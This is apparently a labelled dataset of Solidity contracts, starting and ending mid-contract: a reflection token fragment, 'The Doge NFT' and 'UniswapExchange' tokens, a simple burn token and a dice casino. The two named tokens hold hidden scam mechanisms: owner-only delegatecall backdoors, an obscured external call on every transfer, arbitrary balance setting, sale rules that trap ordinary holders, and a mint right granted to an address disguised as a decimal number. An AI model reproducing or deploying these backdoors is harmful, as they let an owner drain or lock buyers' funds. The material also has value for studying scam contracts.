emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 tTransferAmount,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 tTransferAmount,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(
tAmount,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, tTransferAmount, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256
)
{
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tLiquidity);
return (tTransferAmount, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rLiquidity);
return (rAmount, rTransferAmount);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _tTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_tTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _tTotal.div(_tTotal)) return (_tTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_charityFee).div(10**2);
}
function removeAllFee() private {
if ( _charityFee == 0) return;
_previousCharityFee = _charityFee;
_charityFee = 0;
}
function restoreAllFee() private {
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setCharityFeePercent(uint256 charityFee) external onlyOwner {
_charityFee = charityFee;
}
function setCharityAddress(address _charityAddress) external onlyOwner {
charityAddress = payable(_charityAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 0 | 2,312 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract InitializedProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 16969696969000000000000000000;
string public name = "The Doge NFT";
string public symbol = "DOG";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 2,303 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BURN is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "The Burn Token";
string constant tokenSymbol = "BURN";
uint8 constant tokenDecimals = 0;
uint256 _totalSupply = 10000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | 1 | 4,615 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 494 |
pragma solidity ^0.4.25;
contract FairCasino {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = 0x77777A7AD41f5f0578D96c0DEe0afD2816376229;
croupier = 0xfC5998aE24dD8ECCaD7Acbf1427002b94f3830fc;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require(v >= 27 && v <=28);
require (block.number <= commitLastBlock, "Commit has expired.");
require (secretSigner ==
ecrecover(keccak256(abi.encodePacked(uint40(commitLastBlock), commit)), v, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
